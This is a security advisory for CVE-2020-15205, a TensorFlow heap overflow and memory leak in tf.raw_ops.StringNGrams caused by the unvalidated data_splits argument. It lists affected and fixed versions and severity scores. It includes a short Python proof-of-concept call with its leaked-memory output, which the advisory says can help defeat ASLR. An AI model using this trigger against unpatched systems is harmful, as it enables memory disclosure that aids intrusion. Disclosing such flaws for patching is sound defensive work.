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TensorFlowGHSA-g7p5-5759-qv46

Data leak in Tensorflow

Medium9.0CVE-2020-15205 · Published Sep 25, 2020 · updated Jul 8, 2026

GitHub advisory

Affected versions

PackageAffectedFixed in
tensorflow
PyPI
< 1.15.41.15.4
>= 2.0.0, < 2.0.32.0.3
>= 2.1.0, < 2.1.22.1.2
>= 2.2.0, < 2.2.12.2.1
>= 2.3.0, < 2.3.12.3.1
Details and references

### Impact The `data_splits` argument of [`tf.raw_ops.StringNGrams`](https://www.tensorflow.org/api_docs/python/tf/raw_ops/StringNGrams) lacks validation. This allows a user to pass values that can cause heap overflow errors and even leak contents of memory ```python >>> tf.raw_ops.StringNGrams(data=["aa", "bb", "cc", "dd", "ee", "ff"], data_splits=[0,8], separator=" ", ngram_widths=[3], left_pad="", right_pad="", pad_width=0, preserve_short_sequences=False) StringNGrams(ngrams=<tf.Tensor: shape=(6,), dtype=string, numpy= array([b'aa bb cc', b'bb cc dd', b'cc dd ee', b'dd ee ff', b'ee ff \xf4j\xa7q\x7f\x00\x00q\x00\x00\x00\x00\x00\x00\x00\xd8\x9b~\xa8q\x7f\x00', b'ff \xf4j\xa7q\x7f\x00\x00q\x00\x00\x00\x00\x00\x00\x00\xd8\x9b~\xa8q\x7f\x00 \x9b~\xa8q\x7f\x00\x00p\xf5j\xa7q\x7f\x00\x00H\xf8j\xa7q\x7f\x00\x00\xf0\xf3\xf7\x85q\x7f\x00\x00`}\xa6\x00\x00\x00\x00\x00`~\xa6\x00\x00\x00\x00\x00\xb0~\xeb\x9bq\x7f\x00'],... ``` All the binary strings after `ee ff` are contents from the memory stack. Since these can contain return addresses, this data leak can be used to defeat ASLR. ### Patches We have patched the issue in 0462de5b544ed4731aa2fb23946ac22c01856b80 and will release patch releases for all versions between 1.15 and 2.3. We recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

CVSS 3.1
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
Severity from
GitHub (reviewed advisory)
Weakness
CWE-119, CWE-122, CWE-787
Also known as
BIT-tensorflow-2020-15205, CVE-2020-15205, PYSEC-2020-128, PYSEC-2020-285, PYSEC-2020-320

More TensorFlow advisories

All TensorFlow
DateAdvisory
Sep 252020Segfault in Tensorflow
CVE-2020-15190Medium5.3fixed in 1.15.4, 2.0.3, 2.1.2, 2.2.1
Sep 252020Memory leak in Tensorflow
CVE-2020-15192Medium4.3fixed in 2.2.1, 2.3.1
Sep 252020Denial of Service in Tensorflow
CVE-2020-15194Medium5.3fixed in 1.15.4, 2.0.3, 2.1.2, 2.2.1
Sep 252020Heap buffer overflow in Tensorflow
CVE-2020-15196Medium8.5fixed in 2.3.1
Sep 252020Heap buffer overflow in Tensorflow
CVE-2020-15198Medium5.4fixed in 2.3.1
Sep 252020Denial of Service in Tensorflow
CVE-2020-15199High5.9fixed in 2.3.1

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